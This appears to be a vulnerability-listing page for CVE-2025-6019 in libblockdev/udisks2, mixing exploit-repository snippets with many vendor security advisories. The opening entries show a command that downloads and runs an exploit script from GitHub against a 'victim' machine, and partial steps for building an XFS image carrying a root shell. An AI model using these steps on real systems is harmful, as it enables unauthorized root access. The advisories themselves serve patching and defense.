CVE-2025-6019

使い方 sudo apt install xfsprogs sudo su wget https://raw.githubusercontent.com/boboaung1337/CVE-2025-6019/refs/heads/main/exploit.sh && chmod +x exploit.sh ./exploit.sh モードを選択: 1 ローカル: 300 MBのXFSイメージを作成（root権限が必要） 2 ターゲット: 標的システムを悪用（被害者機で実行） 3 手動: XFSイメージを手動で作成 オプションを選択 1/2/3: 1...

CVE-2025-6019

CVE-2025-6019: libblockdev のローカル権限昇格の脆弱性 概要 CVE-2025-6019 は、libblockdev ライブラリで発見されたローカル権限昇格（LPE）の脆弱性で、udisks2 デーモンおよび Polkit と連携して作用します。 脆弱性の説明 allowactive の Polkit 権限を持つローカル攻撃者（通常はコンピューターを実際に操作するユーザー）は、libblockdev が udisks デーモンと対話する方法を悪用できます。攻撃者は、SUID-root シェルを含む悪意のある XFS イメージを作成し、udisks に nosui...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 権限昇格ガイド 中国語 📋 クイックエクスプロイト手順 ステップ1: XFSイメージを準備（ローカルマシン） root@kitploit: Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp /bin/bash mnt/bash sudo chmod...

Exploit for Incorrect Authorization in Suse Pam-Config

CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide 中文...

Exploit for CVE-2025-6019

CVE-2025-6019-udisks-lpe-no-image Script-only privilege escala...

MiracleLinux 7 : libblockdev-2.18-5.0.1.el7.AXS7 (AXSA:2025-10699:04)

The remote MiracleLinux 7 host has packages installed that are affected by a vulnerability as referenced in the AXSA:2025-10699:04 advisory. CVE-2025-6019: don't allow suid and dev set on fs resize CVEs: CVE-2025-6019 A Local Privilege Escalation LPE vulnerability was found in libblockdev...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-001119)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-001119 advisory. An issue was discovered in fs/xfs/libxfs/xfsattrleaf.c in the Linux kernel through 4.17.3. An OOPS may occur for a corrupted xfs image after xfsdashrinkinode is call...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-001277)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-001277 advisory. The xfsdinodeverify function in fs/xfs/libxfs/xfsinodebuf.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service xfsilockattrmapshared...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-001511)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-001511 advisory. The xfsbmapextentstobtree function in fs/xfs/libxfs/xfsbmap.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service xfsbmapiwrite NULL...

Unity Linux 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-002533)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-002533 advisory. The xfsdinodeverify function in fs/xfs/libxfs/xfsinodebuf.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service xfsilockattrmapshared...

Unity Linux 20.1060a / 20.1070a Security Update: kernel (UTSA-2026-002945)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-002945 advisory. An issue was discovered in fs/xfs/libxfs/xfsattrleaf.c in the Linux kernel through 4.17.3. An OOPS may occur for a corrupted xfs image after xfsdashrinkinode is call...

Unity Linux 20.1060a / 20.1070a Security Update: kernel (UTSA-2026-002756)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-002756 advisory. The xfsdinodeverify function in fs/xfs/libxfs/xfsinodebuf.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service xfsilockattrmapshared...

Unity Linux 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-002548)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-002548 advisory. The xfsbmapextentstobtree function in fs/xfs/libxfs/xfsbmap.c in the Linux kernel through 4.16.3 allows local users to cause a denial of service xfsbmapiwrite NULL...

TencentOS Server 4: udisks2 (TSSA-2025:0480)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2025:0480 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities:...

TencentOS Server 4: libblockdev (TSSA-2025:0478)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2025:0478 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities:...

EulerOS 2.0 SP13 : udisks2 (EulerOS-SA-2025-2312)

According to the versions of the udisks2 packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A Local Privilege Escalation LPE vulnerability was found in libblockdev. Generally, the 'allowactive' setting in Polkit permits a physically...

EulerOS 2.0 SP13 : libblockdev (EulerOS-SA-2025-2298)

According to the versions of the libblockdev packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A Local Privilege Escalation LPE vulnerability was found in libblockdev. Generally, the 'allowactive' setting in Polkit permits a physically...

EulerOS 2.0 SP13 : libblockdev (EulerOS-SA-2025-2266)

According to the versions of the libblockdev packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A Local Privilege Escalation LPE vulnerability was found in libblockdev. Generally, the 'allowactive' setting in Polkit permits a physically...

EulerOS 2.0 SP11 : libblockdev (EulerOS-SA-2025-2232)

According to the versions of the libblockdev packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A Local Privilege Escalation LPE vulnerability was found in libblockdev. Generally, the 'allowactive' setting in Polkit permits a physically...

EulerOS 2.0 SP11 : libblockdev (EulerOS-SA-2025-2200)

According to the versions of the libblockdev packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : A Local Privilege Escalation LPE vulnerability was found in libblockdev. Generally, the 'allowactive' setting in Polkit permits a physically...